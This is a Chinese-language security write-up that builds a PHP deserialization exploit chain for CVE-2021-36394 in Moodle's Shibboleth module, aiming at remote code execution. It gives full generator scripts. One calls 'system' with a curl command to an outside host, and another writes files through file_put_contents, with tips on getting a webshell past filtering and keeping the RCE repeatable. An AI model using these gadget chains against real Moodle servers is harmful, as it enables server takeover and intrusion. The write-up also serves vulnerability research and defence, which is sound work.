CVE-2021-36394-Moodle Shibboleth PHP反序列化利用链构造之二
引言
之前已经就CVE-2021-36394 Moodle Shibboleth认证模块反序列化漏洞原理进行了详细分析,并且给出了一条可实现修改管理员密码的利用链:
最近发现有小伙伴放出了RCE的利用链,瞅了下确实可行,还是自己功力不够啊,这里分享下对这条利用链的分析过程。
利用链构造
和前面实现修改管理员密码的利用链一样,触发点还是定在`core\lock\lock#`类,`__destruct`函数定义如下:
存在字符串拼接,并且参数`$this->key`可控,现在就需要寻找`__toString`函数。
注意到`core_availability\tree#__toString`:
里面存在`foreach`遍历,`$this->children`可控,搜索`current`函数。
注意到`core\dml\recordset_walk#current`:
存在`call_user_func`调用,是潜在的可用对象。参数`$this->callback`、`$this->callbackextra`都可控,重点分析下参数`$this->recordset->current()`,看下定义:
可见`$this->recordset`应该继承于`moodle_recordset`这样一个抽象类,`moodle_recordset`继承于接口`Iterator`,先找下`moodle_recordset`全部子类:
从上面所以潜在的子类来分析,以位于`question/engine/tests/helpers.php`的`question_test_recordset`类进行测试,构造如下生成代码:
<?php namespace core\lock { class lock { public function __construct($class) { $this->key = $class; } } } namespace core_availability{ class tree { public function __construct($class) { $this->children = $class; } } } namespace core\dml{ class recordset_walk { public function __construct($class) { $this->recordset = $class; $this->callbackextra = "test"; $this->callback = "system"; } } } namespace { class question_test_recordset{ public function __construct(){ $this->records = array("curl http://***:1111/cccc"); } } $recordset=new question_test_recordset(); $walk = new core\dml\recordset_walk($recordset); $tree = new core_availability\tree($walk); $lock = new core\lock\lock($tree); echo serialize($lock); }
发现Moodle并没有加载这个类,反序列化操作中`$this->children`为`null`,无法触发`current`函数。这个地方卡住很久,扩大到实现接口`Iterator`的类,最后定位`question/engine/questionusage.php`中的类`question_attempt_iterator`,同样这个类默认Moodle也没有加载,但是我们找到一个辅助类`core_question_external`:
写文件Gadget
可以通过`question_attempt_iterator`类进行辅助,构造一个文件写的Gadget代码如下:
<?php namespace core\lock { class lock { public function __construct($class) { $this->key = $class; } } } namespace core_availability{ class tree { public function __construct($class) { $this->children = $class; } } } namespace core\dml{ class recordset_walk { public function __construct($class) { $this->recordset = $class; $this->callbackextra = "aaaaaaaa"; $this->callback = "file_put_contents"; } } } namespace { class question_attempt_iterator{ public function __construct($class) { $this->slots = array( "xxx" => "key" ); $this->quba = $class; } } class question_usage_by_activity{ public function __construct() { $this->questionattempts = array( "key" => "aaaa.php" ); } } class core_question_external{} $add_lib = new core_question_external(); $activity = new question_usage_by_activity(); $iterator = new question_attempt_iterator($activity); $walk = new core\dml\recordset_walk($iterator); $tree = new core_availability\tree($walk); $lock = new core\lock\lock($tree); $arr = array($add_lib, $lock); echo serialize($arr);
}
效果:
后记
由于存在过滤,直接写入php webshell是不行的,但是结合实际情况,稍微转换下还是可行的。这里需要补充说明的是,由于在反序列化时,默认会将全部`sess_***`文件循环进行处理,所以在创建一个session文件后,应该主动调用`/login/logout.php`完成session注销(删除对应`sess_***`文件),否则RCE可能只有第一次有效。
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。
